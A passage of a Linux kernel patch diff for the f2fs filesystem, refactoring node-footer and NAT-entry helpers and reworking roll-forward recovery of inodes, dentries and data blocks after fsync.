(!free_nid_slab) + goto destroy_nat_entry; + + nat_entry_set_slab = f2fs_kmem_cache_create("nat_entry_set", + sizeof(struct nat_entry_set)); + if (!nat_entry_set_slab) + goto destroy_free_nid; return 0; + +destroy_free_nid: + kmem_cache_destroy(free_nid_slab); +destroy_nat_entry: + kmem_cache_destroy(nat_entry_slab); +fail: + return -ENOMEM; } void destroy_node_manager_caches(void) { + kmem_cache_destroy(nat_entry_set_slab); kmem_cache_destroy(free_nid_slab); kmem_cache_destroy(nat_entry_slab); } diff --git a/fs/f2fs/node.h b/fs/f2fs/node.h index 0a2d72f0024dd..e4fffd2d98c4b 100644 --- a/fs/f2fs/node.h +++ b/fs/f2fs/node.h @@ -14,24 +14,32 @@ /* node block offset on the NAT area dedicated to the given start node id */ #define NAT_BLOCK_OFFSET(start_nid) (start_nid / NAT_ENTRY_PER_BLOCK) -/* # of pages to perform readahead before building free nids */ +/* # of pages to perform synchronous readahead before building free nids */ #define FREE_NID_PAGES 4 -/* maximum # of free node ids to produce during build_free_nids */ -#define MAX_FREE_NIDS (NAT_ENTRY_PER_BLOCK * FREE_NID_PAGES) +#define DEF_RA_NID_PAGES 4 /* # of nid pages to be readaheaded */ /* maximum readahead size for node during getting data blocks */ #define MAX_RA_NODE 128 -/* maximum cached nat entries to manage memory footprint */ -#define NM_WOUT_THRESHOLD (64 * NAT_ENTRY_PER_BLOCK) +/* control the memory footprint threshold (10MB per 1GB ram) */ +#define DEF_RAM_THRESHOLD 10 /* vector size for gang look-up from nat cache that consists of radix tree */ #define NATVEC_SIZE 64 +#define SETVEC_SIZE 32 /* return value for read_node_page */ #define LOCKED_PAGE 1 +/* For flag in struct node_info */ +enum { + IS_CHECKPOINTED, /* is it checkpointed before? */ + HAS_FSYNCED_INODE, /* is the inode fsynced before? */ + HAS_LAST_FSYNC, /* has the latest node fsync mark? */ + IS_DIRTY, /* this nat entry is dirty? */ +}; + /* * For node information */ @@ -40,11 +48,11 @@ struct node_info { nid_t ino; /* inode number of the node's owner */ block_t blk_addr; /* block address of the node */ unsigned char version; /* version of the node */ + unsigned char flag; /* for node information bits */ }; struct nat_entry { struct list_head list; /* for clean or dirty nat list */ - bool checkpointed; /* whether it is checkpointed or not */ struct node_info ni; /* in-memory node information */ }; @@ -57,12 +65,42 @@ struct nat_entry { #define nat_get_version(nat) (nat->ni.version) #define nat_set_version(nat, v) (nat->ni.version = v) -#define __set_nat_cache_dirty(nm_i, ne) \ - list_move_tail(&ne->list, &nm_i->dirty_nat_entries); -#define __clear_nat_cache_dirty(nm_i, ne) \ - list_move_tail(&ne->list, &nm_i->nat_entries); #define inc_node_version(version) (++version) +static inline void copy_node_info(struct node_info *dst, + struct node_info *src) +{ + dst->nid = src->nid; + dst->ino = src->ino; + dst->blk_addr = src->blk_addr; + dst->version = src->version; + /* should not copy flag here */ +} + +static inline void set_nat_flag(struct nat_entry *ne, + unsigned int type, bool set) +{ + unsigned char mask = 0x01 << type; + if (set) + ne->ni.flag |= mask; + else + ne->ni.flag &= ~mask; +} + +static inline bool get_nat_flag(struct nat_entry *ne, unsigned int type) +{ + unsigned char mask = 0x01 << type; + return ne->ni.flag & mask; +} + +static inline void nat_reset_flag(struct nat_entry *ne) +{ + /* these states can be set only after checkpoint was done */ + set_nat_flag(ne, IS_CHECKPOINTED, true); + set_nat_flag(ne, HAS_FSYNCED_INODE, false); + set_nat_flag(ne, HAS_LAST_FSYNC, true); +} + static inline void node_info_from_raw_nat(struct node_info *ni, struct f2fs_nat_entry *raw_ne) { @@ -71,6 +109,30 @@ static inline void node_info_from_raw_nat(struct node_info *ni, ni->version = raw_ne->version; } +static inline void raw_nat_from_node_info(struct f2fs_nat_entry *raw_ne, + struct node_info *ni) +{ + raw_ne->ino = cpu_to_le32(ni->ino); + raw_ne->block_addr = cpu_to_le32(ni->blk_addr); + raw_ne->version = ni->version; +} + +enum mem_type { + FREE_NIDS, /* indicates the free nid list */ + NAT_ENTRIES, /* indicates the cached nat entry */ + DIRTY_DENTS, /* indicates dirty dentry pages */ + INO_ENTRIES, /* indicates inode entries */ + EXTENT_CACHE, /* indicates extent cache */ + BASE_CHECK, /* check kernel status */ +}; + +struct nat_entry_set { + struct list_head set_list; /* link with other nat sets */ + struct list_head entry_list; /* link with dirty nat entries */ + nid_t set; /* set number*/ + unsigned int entry_cnt; /* the # of nat entries in set */ +}; + /* * For free nid mangement */ @@ -85,18 +147,19 @@ struct free_nid { int state; /* in use or not: NID_NEW or NID_ALLOC */ }; -static inline int next_free_nid(struct f2fs_sb_info *sbi, nid_t *nid) +static inline void next_free_nid(struct f2fs_sb_info *sbi, nid_t *nid) { struct f2fs_nm_info *nm_i = NM_I(sbi); struct free_nid *fnid; - if (nm_i->fcnt <= 0) - return -1; spin_lock(&nm_i->free_nid_list_lock); + if (nm_i->fcnt <= 0) { + spin_unlock(&nm_i->free_nid_list_lock); + return; + } fnid = list_entry(nm_i->free_nid_list.next, struct free_nid, list); *nid = fnid->nid; spin_unlock(&nm_i->free_nid_list_lock); - return 0; } /* @@ -146,76 +209,72 @@ static inline void set_to_next_nat(struct f2fs_nm_info *nm_i, nid_t start_nid) { unsigned int block_off = NAT_BLOCK_OFFSET(start_nid); - if (f2fs_test_bit(block_off, nm_i->nat_bitmap)) - f2fs_clear_bit(block_off, nm_i->nat_bitmap); - else - f2fs_set_bit(block_off, nm_i->nat_bitmap); + f2fs_change_bit(block_off, nm_i->nat_bitmap); } static inline void fill_node_footer(struct page *page, nid_t nid, nid_t ino, unsigned int ofs, bool reset) { - void *kaddr = page_address(page); - struct f2fs_node *rn = (struct f2fs_node *)kaddr; + struct f2fs_node *rn = F2FS_NODE(page); + unsigned int old_flag = 0; + if (reset) memset(rn, 0, sizeof(*rn)); + else + old_flag = le32_to_cpu(rn->footer.flag); + rn->footer.nid = cpu_to_le32(nid); rn->footer.ino = cpu_to_le32(ino); - rn->footer.flag = cpu_to_le32(ofs << OFFSET_BIT_SHIFT); + + /* should remain old flag bits such as COLD_BIT_SHIFT */ + rn->footer.flag = cpu_to_le32((ofs << OFFSET_BIT_SHIFT) | + (old_flag & OFFSET_BIT_MASK)); } static inline void copy_node_footer(struct page *dst, struct page *src) { - void *src_addr = page_address(src); - void *dst_addr = page_address(dst); - struct f2fs_node *src_rn = (struct f2fs_node *)src_addr; - struct f2fs_node *dst_rn = (struct f2fs_node *)dst_addr; + struct f2fs_node *src_rn = F2FS_NODE(src); + struct f2fs_node *dst_rn = F2FS_NODE(dst); memcpy(&dst_rn->footer, &src_rn->footer, sizeof(struct node_footer)); } static inline void fill_node_footer_blkaddr(struct page *page, block_t blkaddr) { - struct f2fs_sb_info *sbi = F2FS_SB(page->mapping->host->i_sb); - struct f2fs_checkpoint *ckpt = F2FS_CKPT(sbi); - void *kaddr = page_address(page); - struct f2fs_node *rn = (struct f2fs_node *)kaddr; + struct f2fs_checkpoint *ckpt = F2FS_CKPT(F2FS_P_SB(page)); + struct f2fs_node *rn = F2FS_NODE(page); + rn->footer.cp_ver = ckpt->checkpoint_ver; rn->footer.next_blkaddr = cpu_to_le32(blkaddr); } static inline nid_t ino_of_node(struct page *node_page) { - void *kaddr = page_address(node_page); - struct f2fs_node *rn = (struct f2fs_node *)kaddr; + struct f2fs_node *rn = F2FS_NODE(node_page); return le32_to_cpu(rn->footer.ino); } static inline nid_t nid_of_node(struct page *node_page) { - void *kaddr = page_address(node_page); - struct f2fs_node *rn = (struct f2fs_node *)kaddr; + struct f2fs_node *rn = F2FS_NODE(node_page); return le32_to_cpu(rn->footer.nid); } static inline unsigned int ofs_of_node(struct page *node_page) { - void *kaddr = page_address(node_page); - struct f2fs_node *rn = (struct f2fs_node *)kaddr; + struct f2fs_node *rn = F2FS_NODE(node_page); unsigned flag = le32_to_cpu(rn->footer.flag); return flag >> OFFSET_BIT_SHIFT; } static inline unsigned long long cpver_of_node(struct page *node_page) { - void *kaddr = page_address(node_page); - struct f2fs_node *rn = (struct f2fs_node *)kaddr; + struct f2fs_node *rn = F2FS_NODE(node_page); return le64_to_cpu(rn->footer.cp_ver); } static inline block_t next_blkaddr_of_node(struct page *node_page) { - void *kaddr = page_address(node_page); - struct f2fs_node *rn = (struct f2fs_node *)kaddr; + struct f2fs_node *rn = F2FS_NODE(node_page); return le32_to_cpu(rn->footer.next_blkaddr); } @@ -232,11 +291,21 @@ static inline block_t next_blkaddr_of_node(struct page *node_page) * | `- direct node (5 + N => 5 + 2N - 1) * `- double indirect node (5 + 2N) * `- indirect node (6 + 2N) - * `- direct node (x(N + 1)) + * `- direct node + * ...... + * `- indirect node ((6 + 2N) + x(N + 1)) + * `- direct node + * ...... + * `- indirect node ((6 + 2N) + (N - 1)(N + 1)) + * `- direct node */ static inline bool IS_DNODE(struct page *node_page) { unsigned int ofs = ofs_of_node(node_page); + + if (f2fs_has_xattr_block(ofs)) + return false; + if (ofs == 3 || ofs == 4 + NIDS_PER_BLOCK || ofs == 5 + 2 * NIDS_PER_BLOCK) return false; @@ -250,9 +319,9 @@ static inline bool IS_DNODE(struct page *node_page) static inline void set_nid(struct page *p, int off, nid_t nid, bool i) { - struct f2fs_node *rn = (struct f2fs_node *)page_address(p); + struct f2fs_node *rn = F2FS_NODE(p); - wait_on_page_writeback(p); + f2fs_wait_on_page_writeback(p, NODE); if (i) rn->i.i_nid[off - NODE_DIR1_BLOCK] = cpu_to_le32(nid); @@ -263,7 +332,8 @@ static inline void set_nid(struct page *p, int off, nid_t nid, bool i) static inline nid_t get_nid(struct page *p, int off, bool i) { - struct f2fs_node *rn = (struct f2fs_node *)page_address(p); + struct f2fs_node *rn = F2FS_NODE(p); + if (i) return le32_to_cpu(rn->i.i_nid[off - NODE_DIR1_BLOCK]); return le32_to_cpu(rn->in.nid[off]); @@ -275,26 +345,6 @@ static inline nid_t get_nid(struct page *p, int off, bool i) * - Mark cold node blocks in their node footer * - Mark cold data pages in page cache */ -static inline int is_cold_file(struct inode *inode) -{ - return F2FS_I(inode)->i_advise & FADVISE_COLD_BIT; -} - -static inline void set_cold_file(struct inode *inode) -{ - F2FS_I(inode)->i_advise |= FADVISE_COLD_BIT; -} - -static inline int is_cp_file(struct inode *inode) -{ - return F2FS_I(inode)->i_advise & FADVISE_CP_BIT; -} - -static inline void set_cp_file(struct inode *inode) -{ - F2FS_I(inode)->i_advise |= FADVISE_CP_BIT; -} - static inline int is_cold_data(struct page *page) { return PageChecked(page); @@ -310,33 +360,19 @@ static inline void clear_cold_data(struct page *page) ClearPageChecked(page); } -static inline int is_cold_node(struct page *page) +static inline int is_node(struct page *page, int type) { - void *kaddr = page_address(page); - struct f2fs_node *rn = (struct f2fs_node *)kaddr; - unsigned int flag = le32_to_cpu(rn->footer.flag); - return flag & (0x1 << COLD_BIT_SHIFT); -} - -static inline unsigned char is_fsync_dnode(struct page *page) -{ - void *kaddr = page_address(page); - struct f2fs_node *rn = (struct f2fs_node *)kaddr; - unsigned int flag = le32_to_cpu(rn->footer.flag); - return flag & (0x1 << FSYNC_BIT_SHIFT); + struct f2fs_node *rn = F2FS_NODE(page); + return le32_to_cpu(rn->footer.flag) & (1 << type); } -static inline unsigned char is_dent_dnode(struct page *page) -{ - void *kaddr = page_address(page); - struct f2fs_node *rn = (struct f2fs_node *)kaddr; - unsigned int flag = le32_to_cpu(rn->footer.flag); - return flag & (0x1 << DENT_BIT_SHIFT); -} +#define is_cold_node(page) is_node(page, COLD_BIT_SHIFT) +#define is_fsync_dnode(page) is_node(page, FSYNC_BIT_SHIFT) +#define is_dent_dnode(page) is_node(page, DENT_BIT_SHIFT) static inline void set_cold_node(struct inode *inode, struct page *page) { - struct f2fs_node *rn = (struct f2fs_node *)page_address(page); + struct f2fs_node *rn = F2FS_NODE(page); unsigned int flag = le32_to_cpu(rn->footer.flag); if (S_ISDIR(inode->i_mode)) @@ -346,26 +382,15 @@ static inline void set_cold_node(struct inode *inode, struct page *page) rn->footer.flag = cpu_to_le32(flag); } -static inline void set_fsync_mark(struct page *page, int mark) -{ - void *kaddr = page_address(page); - struct f2fs_node *rn = (struct f2fs_node *)kaddr; - unsigned int flag = le32_to_cpu(rn->footer.flag); - if (mark) - flag |= (0x1 << FSYNC_BIT_SHIFT); - else - flag &= ~(0x1 << FSYNC_BIT_SHIFT); - rn->footer.flag = cpu_to_le32(flag); -} - -static inline void set_dentry_mark(struct page *page, int mark) +static inline void set_mark(struct page *page, int mark, int type) { - void *kaddr = page_address(page); - struct f2fs_node *rn = (struct f2fs_node *)kaddr; + struct f2fs_node *rn = F2FS_NODE(page); unsigned int flag = le32_to_cpu(rn->footer.flag); if (mark) - flag |= (0x1 << DENT_BIT_SHIFT); + flag |= (0x1 << type); else - flag &= ~(0x1 << DENT_BIT_SHIFT); + flag &= ~(0x1 << type); rn->footer.flag = cpu_to_le32(flag); } +#define set_dentry_mark(page, mark) set_mark(page, mark, DENT_BIT_SHIFT) +#define set_fsync_mark(page, mark) set_mark(page, mark, FSYNC_BIT_SHIFT) diff --git a/fs/f2fs/recovery.c b/fs/f2fs/recovery.c index 60c8a5097058f..6a3f04fa34e30 100644 --- a/fs/f2fs/recovery.c +++ b/fs/f2fs/recovery.c @@ -14,6 +14,37 @@ #include "node.h" #include "segment.h" +/* + * Roll forward recovery scenarios. + * + * [Term] F: fsync_mark, D: dentry_mark + * + * 1. inode(x) | CP | inode(x) | dnode(F) + * -> Update the latest inode(x). + * + * 2. inode(x) | CP | inode(F) | dnode(F) + * -> No problem. + * + * 3. inode(x) | CP | dnode(F) | inode(x) + * -> Recover to the latest dnode(F), and drop the last inode(x) + * + * 4. inode(x) | CP | dnode(F) | inode(F) + * -> No problem. + * + * 5. CP | inode(x) | dnode(F) + * -> The inode(DF) was missing. Should drop this dnode(F). + * + * 6. CP | inode(DF) | dnode(F) + * -> No problem. + * + * 7. CP | dnode(F) | inode(DF) + * -> If f2fs_iget fails, then goto next to find inode(DF). + * + * 8. CP | dnode(F) | inode(x) + * -> If f2fs_iget fails, then goto next to find inode(DF). + * But it will fail due to no inode(DF). + */ + static struct kmem_cache *fsync_entry_slab; bool space_for_roll_forward(struct f2fs_sb_info *sbi) @@ -27,155 +58,193 @@ bool space_for_roll_forward(struct f2fs_sb_info *sbi) static struct fsync_inode_entry *get_fsync_inode(struct list_head *head, nid_t ino) { - struct list_head *this; struct fsync_inode_entry *entry; - list_for_each(this, head) { - entry = list_entry(this, struct fsync_inode_entry, list); + list_for_each_entry(entry, head, list) if (entry->inode->i_ino == ino) return entry; - } + return NULL; } -static int recover_dentry(struct page *ipage, struct inode *inode) +static int recover_dentry(struct inode *inode, struct page *ipage) { - struct f2fs_node *raw_node = (struct f2fs_node *)kmap(ipage); - struct f2fs_inode *raw_inode = &(raw_node->i); - struct qstr name; + struct f2fs_inode *raw_inode = F2FS_INODE(ipage); + nid_t pino = le32_to_cpu(raw_inode->i_pino); struct f2fs_dir_entry *de; + struct qstr name; struct page *page; - struct inode *dir; + struct inode *dir, *einode; int err = 0; - if (!is_dent_dnode(ipage)) - goto out; - - dir = f2fs_iget(inode->i_sb, le32_to_cpu(raw_inode->i_pino)); + dir = f2fs_iget(inode->i_sb, pino); if (IS_ERR(dir)) { err = PTR_ERR(dir); goto out; } + if (file_enc_name(inode)) { + iput(dir); + return 0; + } + name.len = le32_to_cpu(raw_inode->i_namelen); name.name = raw_inode->i_name; + if (unlikely(name.len > F2FS_NAME_LEN)) { + WARN_ON(1); + err = -ENAMETOOLONG; + goto out_err; + } +retry: de = f2fs_find_entry(dir, &name, &page); + if (de && inode->i_ino == le32_to_cpu(de->ino)) + goto out_unmap_put; + if (de) { - kunmap(page); - f2fs_put_page(page, 0); + einode = f2fs_iget(inode->i_sb, le32_to_cpu(de->ino)); + if (IS_ERR(einode)) { + WARN_ON(1); + err = PTR_ERR(einode); + if (err == -ENOENT) + err = -EEXIST; + goto out_unmap_put; + } + err = acquire_orphan_inode(F2FS_I_SB(inode)); + if (err) { + iput(einode); + goto out_unmap_put; + } + f2fs_delete_entry(de, page, dir, einode); + iput(einode); + goto retry; + } + err = __f2fs_add_link(dir, &name, inode, inode->i_ino, inode->i_mode); + if (err) + goto out_err; + + if (is_inode_flag_set(F2FS_I(dir), FI_DELAY_IPUT)) { + iput(dir); } else { - err = __f2fs_add_link(dir, &name, inode); + add_dirty_dir_inode(dir); + set_inode_flag(F2FS_I(dir), FI_DELAY_IPUT); } + + goto out; + +out_unmap_put: + f2fs_dentry_kunmap(dir, page); + f2fs_put_page(page, 0); +out_err: iput(dir); out: - kunmap(ipage); + f2fs_msg(inode->i_sb, KERN_NOTICE, + "%s: ino = %x, name = %s, dir = %lx, err = %d", + __func__, ino_of_node(ipage), raw_inode->i_name, + IS_ERR(dir) ? 0 : dir->i_ino, err); return err; } -static int recover_inode(struct inode *inode, struct page *node_page) +static void recover_inode(struct inode *inode, struct page *page) { - void *kaddr = page_address(node_page); - struct f2fs_node *raw_node = (struct f2fs_node *)kaddr; - struct f2fs_inode *raw_inode = &(raw_node->i); - - inode->i_mode = le16_to_cpu(raw_inode->i_mode); - i_size_write(inode, le64_to_cpu(raw_inode->i_size)); - inode->i_atime.tv_sec = le64_to_cpu(raw_inode->i_mtime); - inode->i_ctime.tv_sec = le64_to_cpu(raw_inode->i_ctime); - inode->i_mtime.tv_sec = le64_to_cpu(raw_inode->i_mtime); - inode->i_atime.tv_nsec = le32_to_cpu(raw_inode->i_mtime_nsec); - inode->i_ctime.tv_nsec = le32_to_cpu(raw_inode->i_ctime_nsec); - inode->i_mtime.tv_nsec = le32_to_cpu(raw_inode->i_mtime_nsec); - - return recover_dentry(node_page, inode); + struct f2fs_inode *raw = F2FS_INODE(page); + char *name; + + inode->i_mode = le16_to_cpu(raw->i_mode); + i_size_write(inode, le64_to_cpu(raw->i_size)); + inode->i_atime.tv_sec = le64_to_cpu(raw->i_mtime); + inode->i_ctime.tv_sec = le64_to_cpu(raw->i_ctime); + inode->i_mtime.tv_sec = le64_to_cpu(raw->i_mtime); + inode->i_atime.tv_nsec = le32_to_cpu(raw->i_mtime_nsec); + inode->i_ctime.tv_nsec = le32_to_cpu(raw->i_ctime_nsec); + inode->i_mtime.tv_nsec = le32_to_cpu(raw->i_mtime_nsec); + + if (file_enc_name(inode)) + name = ""; + else + name = F2FS_INODE(page)->i_name; + + f2fs_msg(inode->i_sb, KERN_NOTICE, "recover_inode: ino = %x, name = %s", + ino_of_node(page), name); } static int find_fsync_dnodes(struct f2fs_sb_info *sbi, struct list_head *head) { - unsigned long long cp_ver = le64_to_cpu(sbi->ckpt->checkpoint_ver); + unsigned long long cp_ver = cur_cp_version(F2FS_CKPT(sbi)); struct curseg_info *curseg; - struct page *page; + struct page *page = NULL; block_t blkaddr; int err = 0; /* get node pages in the current segment */ curseg = CURSEG_I(sbi, CURSEG_WARM_NODE); - blkaddr = START_BLOCK(sbi, curseg->segno) + curseg->next_blkoff; + blkaddr = NEXT_FREE_BLKADDR(sbi, curseg); - /* read node page */ - page = alloc_page(GFP_F2FS_ZERO); - if (IS_ERR(page)) - return PTR_ERR(page); - lock_page(page); + ra_meta_pages(sbi, blkaddr, 1, META_POR, true); while (1) { struct fsync_inode_entry *entry; - err = f2fs_readpage(sbi, page, blkaddr, READ_SYNC); - if (err) - goto out; + if (!is_valid_blkaddr(sbi, blkaddr, META_POR)) + return 0; - lock_page(page); + page = get_tmp_page(sbi, blkaddr); if (cp_ver != cpver_of_node(page)) - goto unlock_out; + break; if (!is_fsync_dnode(page)) goto next; entry = get_fsync_inode(head, ino_of_node(page)); - if (entry) { - entry->blkaddr = blkaddr; - if (IS_INODE(page) && is_dent_dnode(page)) - set_inode_flag(F2FS_I(entry->inode), - FI_INC_LINK); - } else { + if (!entry) { if (IS_INODE(page) && is_dent_dnode(page)) { err = recover_inode_page(sbi, page); if (err) - goto unlock_out; + break; } /* add this fsync inode to the list */ - entry = kmem_cache_alloc(fsync_entry_slab, GFP_NOFS); + entry = kmem_cache_alloc(fsync_entry_slab, GFP_F2FS_ZERO); if (!entry) { err = -ENOMEM; - goto unlock_out; + break; } - + /* + * CP | dnode(F) | inode(DF) + * For this case, we should not give up now. + */ entry->inode = f2fs_iget(sbi->sb, ino_of_node(page)); if (IS_ERR(entry->inode)) { err = PTR_ERR(entry->inode); kmem_cache_free(fsync_entry_slab, entry); - goto unlock_out; + if (err == -ENOENT) { + err = 0; + goto next; + } + break; } - list_add_tail(&entry->list, head); - entry->blkaddr = blkaddr; } + entry->blkaddr = blkaddr; + if (IS_INODE(page)) { - err = recover_inode(entry->inode, page); - if (err == -ENOENT) { - goto next; - } else if (err) { - err = -EINVAL; - goto unlock_out; - } + entry->last_inode = blkaddr; + if (is_dent_dnode(page)) + entry->last_dentry = blkaddr; } next: /* check next segment */ blkaddr = next_blkaddr_of_node(page); + f2fs_put_page(page, 1); + + ra_meta_pages_cond(sbi, blkaddr); } -unlock_out: - unlock_page(page); -out: - __free_pages(page, 0); + f2fs_put_page(page, 1); return err; } -static void destroy_fsync_dnodes(struct f2fs_sb_info *sbi, - struct list_head *head) +static void destroy_fsync_dnodes(struct list_head *head) { struct fsync_inode_entry *entry, *tmp; @@ -186,116 +255,194 @@ static void destroy_fsync_dnodes(struct f2fs_sb_info *sbi, } } -static void check_index_in_prev_nodes(struct f2fs_sb_info *sbi, - block_t blkaddr) +static int check_index_in_prev_nodes(struct f2fs_sb_info *sbi, + block_t blkaddr, struct dnode_of_data *dn) { struct seg_entry *sentry; unsigned int segno = GET_SEGNO(sbi, blkaddr); - unsigned short blkoff = GET_SEGOFF_FROM_SEG0(sbi, blkaddr) & - (sbi->blocks_per_seg - 1); + unsigned short blkoff = GET_BLKOFF_FROM_SEG0(sbi, blkaddr); + struct f2fs_summary_block *sum_node; struct f2fs_summary sum; - nid_t ino; - void *kaddr; + struct page *sum_page, *node_page; + struct dnode_of_data tdn = *dn; + nid_t ino, nid; struct inode *inode; - struct page *node_page; + unsigned int offset; block_t bidx; int i; sentry = get_seg_entry(sbi, segno); if (!f2fs_test_bit(blkoff, sentry->cur_valid_map)) - return; + return 0; /* Get the previous summary */ for (i = CURSEG_WARM_DATA; i <= CURSEG_COLD_DATA; i++) { struct curseg_info *curseg = CURSEG_I(sbi, i); if (curseg->segno == segno) { sum = curseg->sum_blk->entries[blkoff]; - break; + goto got_it; } } - if (i > CURSEG_COLD_DATA) { - struct page *sum_page = get_sum_page(sbi, segno); - struct f2fs_summary_block *sum_node; - kaddr = page_address(sum_page); - sum_node = (struct f2fs_summary_block *)kaddr; - sum = sum_node->entries[blkoff]; - f2fs_put_page(sum_page, 1); + + sum_page = get_sum_page(sbi, segno); + sum_node = (struct f2fs_summary_block *)page_address(sum_page); + sum = sum_node->entries[blkoff]; + f2fs_put_page(sum_page, 1); +got_it: + /* Use the locked dnode page and inode */ + nid = le32_to_cpu(sum.nid); + if (dn->inode->i_ino == nid) { + tdn.nid = nid; + if (!dn->inode_page_locked) + lock_page(dn->inode_page); + tdn.node_page = dn->inode_page; + tdn.ofs_in_node = le16_to_cpu(sum.ofs_in_node); + goto truncate_out; + } else if (dn->nid == nid) { + tdn.ofs_in_node = le16_to_cpu(sum.ofs_in_node); + goto truncate_out; } /* Get the node page */ - node_page = get_node_page(sbi, le32_to_cpu(sum.nid)); - bidx = start_bidx_of_node(ofs_of_node(node_page)) + - le16_to_cpu(sum.ofs_in_node); + node_page = get_node_page(sbi, nid); + if (IS_ERR(node_page)) + return PTR_ERR(node_page); + + offset = ofs_of_node(node_page); ino = ino_of_node(node_page); f2fs_put_page(node_page, 1); - /* Deallocate previous index in the node page */ - inode = f2fs_iget(sbi->sb, ino); - if (IS_ERR(inode)) - return; + if (ino != dn->inode->i_ino) { + /* Deallocate previous index in the node page */ + inode = f2fs_iget(sbi->sb, ino); + if (IS_ERR(inode)) + return PTR_ERR(inode); + } else { + inode = dn->inode; + } + + bidx = start_bidx_of_node(offset, F2FS_I(inode)) + + le16_to_cpu(sum.ofs_in_node); + + /* + * if inode page is locked, unlock temporarily, but its reference + * count keeps alive. + */ + if (ino == dn->inode->i_ino && dn->inode_page_locked) + unlock_page(dn->inode_page); + + set_new_dnode(&tdn, inode, NULL, NULL, 0); + if (get_dnode_of_data(&tdn, bidx, LOOKUP_NODE)) + goto out; + + if (tdn.data_blkaddr == blkaddr) + truncate_data_blocks_range(&tdn, 1); + + f2fs_put_dnode(&tdn); +out: + if (ino != dn->inode->i_ino) + iput(inode); + else if (dn->inode_page_locked) + lock_page(dn->inode_page); + return 0; - truncate_hole(inode, bidx, bidx + 1); - iput(inode); +truncate_out: + if (datablock_addr(tdn.node_page, tdn.ofs_in_node) == blkaddr) + truncate_data_blocks_range(&tdn, 1); + if (dn->inode->i_ino == nid && !dn->inode_page_locked) + unlock_page(dn->inode_page); + return 0; } static int do_recover_data(struct f2fs_sb_info *sbi, struct inode *inode, struct page *page, block_t blkaddr) { + struct f2fs_inode_info *fi = F2FS_I(inode); unsigned int start, end; struct dnode_of_data dn; - struct f2fs_summary sum; struct node_info ni; - int err = 0; - int ilock; + int err = 0, recovered = 0; + + /* step 1: recover xattr */ + if (IS_INODE(page)) { + recover_inline_xattr(inode, page); + } else if (f2fs_has_xattr_block(ofs_of_node(page))) { + /* + * Deprecated; xattr blocks should be found from cold log. + * But, we should remain this for backward compatibility. + */ + recover_xattr_data(inode, page, blkaddr); + goto out; + } - start = start_bidx_of_node(ofs_of_node(page)); - if (IS_INODE(page)) - end = start + ADDRS_PER_INODE; - else - end = start + ADDRS_PER_BLOCK; + /* step 2: recover inline data */ + if (recover_inline_data(inode, page)) + goto out; + + /* step 3: recover data indices */ + start = start_bidx_of_node(ofs_of_node(page), fi); + end = start + ADDRS_PER_PAGE(page, fi); - ilock = mutex_lock_op(sbi); set_new_dnode(&dn, inode, NULL, NULL, 0); err = get_dnode_of_data(&dn, start, ALLOC_NODE); - if (err) { - mutex_unlock_op(sbi, ilock); - return err; - } + if (err) + goto out; - wait_on_page_writeback(dn.node_page); + f2fs_wait_on_page_writeback(dn.node_page, NODE); get_node_info(sbi, dn.nid, &ni); - BUG_ON(ni.ino != ino_of_node(page)); - BUG_ON(ofs_of_node(dn.node_page) != ofs_of_node(page)); + f2fs_bug_on(sbi, ni.ino != ino_of_node(page)); + f2fs_bug_on(sbi, ofs_of_node(dn.node_page) != ofs_of_node(page)); - for (; start < end; start++) { + for (; start < end; start++, dn.ofs_in_node++) { block_t src, dest; src = datablock_addr(dn.node_page, dn.ofs_in_node); dest = datablock_addr(page, dn.ofs_in_node); - if (src != dest && dest != NEW_ADDR && dest != NULL_ADDR) { + /* skip recovering if dest is the same as src */ + if (src == dest) + continue; + + /* dest is invalid, just invalidate src block */ + if (dest == NULL_ADDR) { + truncate_data_blocks_range(&dn, 1); + continue; + } + + /* + * dest is reserved block, invalidate src block + * and then reserve one new block in dnode page. + */ + if (dest == NEW_ADDR) { + truncate_data_blocks_range(&dn, 1); + err = reserve_new_block(&dn); + f2fs_bug_on(sbi, err); + continue; + } + + /* dest is valid block, try to recover from src to dest */ + if (is_valid_blkaddr(sbi, dest, META_POR)) { + if (src == NULL_ADDR) { - int err = reserve_new_block(&dn); + err = reserve_new_block(&dn); /* We should not get -ENOSPC */ - BUG_ON(err); + f2fs_bug_on(sbi, err); } /* Check the previous node page having this index */ - check_index_in_prev_nodes(sbi, dest); - - set_summary(&sum, dn.nid, dn.ofs_in_node, ni.version); + err = check_index_in_prev_nodes(sbi, dest, &dn); + if (err) + goto err; /* write dummy data page */ - recover_data_page(sbi, NULL, &sum, src, dest); - update_extent_cache(dest, &dn); + f2fs_replace_block(sbi, &dn, src, dest, + ni.version, false); + recovered++; } - dn.ofs_in_node++; } - /* write node page in place */ - set_summary(&sum, dn.nid, 0, 0); if (IS_INODE(dn.node_page)) sync_inode_page(&dn); @@ -303,19 +450,21 @@ static int do_recover_data(struct f2fs_sb_info *sbi, struct inode *inode, fill_node_footer(dn.node_page, dn.nid, ni.ino, ofs_of_node(page), false); set_page_dirty(dn.node_page); - - recover_node_page(sbi, dn.node_page, &sum, &ni, blkaddr); +err: f2fs_put_dnode(&dn); - mutex_unlock_op(sbi, ilock); - return 0; +out: + f2fs_msg(sbi->sb, KERN_NOTICE, + "recover_data: ino = %lx, recovered = %d blocks, err = %d", + inode->i_ino, recovered, err); + return err; } static int recover_data(struct f2fs_sb_info *sbi, struct list_head *head, int type) { - unsigned long long cp_ver = le64_to_cpu(sbi->ckpt->checkpoint_ver); + unsigned long long cp_ver = cur_cp_version(F2FS_CKPT(sbi)); struct curseg_info *curseg; - struct page *page; + struct page *page = NULL; int err = 0; block_t blkaddr; @@ -323,32 +472,43 @@ static int recover_data(struct f2fs_sb_info *sbi, curseg = CURSEG_I(sbi, type); blkaddr = NEXT_FREE_BLKADDR(sbi, curseg); - /* read node page */ - page = alloc_page(GFP_NOFS | __GFP_ZERO); - if (IS_ERR(page)) - return -ENOMEM; - - lock_page(page); - while (1) { struct fsync_inode_entry *entry; - err = f2fs_readpage(sbi, page, blkaddr, READ_SYNC); - if (err) - goto out; + if (!is_valid_blkaddr(sbi, blkaddr, META_POR)) + break; - lock_page(page); + ra_meta_pages_cond(sbi, blkaddr); - if (cp_ver != cpver_of_node(page)) - goto unlock_out; + page = get_tmp_page(sbi, blkaddr); + + if (cp_ver != cpver_of_node(page)) { + f2fs_put_page(page, 1); + break; + } entry = get_fsync_inode(head, ino_of_node(page)); if (!entry) goto next; - + /* + * inode(x) | CP | inode(x) | dnode(F) + * In this case, we can lose the latest inode(x). + * So, call recover_inode for the inode update. + */ + if (entry->last_inode == blkaddr) + recover_inode(entry->inode, page); + if (entry->last_dentry == blkaddr) { + err = recover_dentry(entry->inode, page); + if (err) { + 